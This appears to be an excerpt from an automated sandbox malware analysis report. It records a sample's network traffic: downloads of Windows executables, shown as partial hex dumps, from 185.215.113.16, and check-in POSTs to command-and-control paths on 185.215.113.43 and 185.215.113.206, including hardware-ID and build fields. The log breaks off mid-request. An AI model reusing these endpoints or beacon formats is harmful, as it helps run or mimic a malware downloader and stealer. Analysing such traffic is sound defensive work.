00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 11:19:35 GMTContent-Type: application/octet-streamContent-Length: 2762240Last-Modified: Thu, 31 Oct 2024 10:29:21 GMTConnection: keep-aliveETag: "67235c01-2a2600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 af 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 76 64 6b 67 61 6a 6a 00 e0 29 00 00 a0 00 00 00 c6 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6e 65 77 6f 66 67 78 00 20 00 00 00 80 2a 00 00 04 00 00 00 00 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2a 00 00 22 00 00 00 04 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 11:19:46 GMTContent-Type: application/octet-streamContent-Length: 1883136Last-Modified: Thu, 31 Oct 2024 11:16:20 GMTConnection: keep-aliveETag: "67236704-1cbc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 36 73 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 89 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 89 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 70 73 6a 66 75 78 6b 00 a0 19 00 00 f0 30 00 00 a0 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 69 64 6e 6c 6f 6c 69 00 10 00 00 00 90 4a 00 00 04 00 00 00 96 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4a 00 00 22 00 00 00 9a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 11:19:53 GMTContent-Type: application/octet-streamContent-Length: 2762240Last-Modified: Thu, 31 Oct 2024 10:29:21 GMTConnection: keep-aliveETag: "67235c01-2a2600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 af 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 76 64 6b 67 61 6a 6a 00 e0 29 00 00 a0 00 00 00 c6 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6e 65 77 6f 66 67 78 00 20 00 00 00 80 2a 00 00 04 00 00 00 00 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2a 00 00 22 00 00 00 04 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 11:19:58 GMTContent-Type: application/octet-streamContent-Length: 1883136Last-Modified: Thu, 31 Oct 2024 11:16:20 GMTConnection: keep-aliveETag: "67236704-1cbc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 36 73 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 89 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 89 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 70 73 6a 66 75 78 6b 00 a0 19 00 00 f0 30 00 00 a0 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 69 64 6e 6c 6f 6c 69 00 10 00 00 00 90 4a 00 00 04 00 00 00 96 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4a 00 00 22 00 00 00 9a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 11:20:18 GMTContent-Type: application/octet-streamContent-Length: 2762240Last-Modified: Thu, 31 Oct 2024 10:29:21 GMTConnection: keep-aliveETag: "67235c01-2a2600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 af 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 76 64 6b 67 61 6a 6a 00 e0 29 00 00 a0 00 00 00 c6 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6e 65 77 6f 66 67 78 00 20 00 00 00 80 2a 00 00 04 00 00 00 00 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2a 00 00 22 00 00 00 04 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 11:20:19 GMTContent-Type: application/octet-streamContent-Length: 1883136Last-Modified: Thu, 31 Oct 2024 11:16:20 GMTConnection: keep-aliveETag: "67236704-1cbc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 36 73 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 89 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 89 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 70 73 6a 66 75 78 6b 00 a0 19 00 00 f0 30 00 00 a0 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 69 64 6e 6c 6f 6c 69 00 10 00 00 00 90 4a 00 00 04 00 00 00 96 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4a 00 00 22 00 00 00 9a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 32 38 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1002851001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 38 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002857001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 38 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002858001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 41 43 39 43 35 41 35 32 36 33 30 35 30 34 35 37 33 35 38 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; 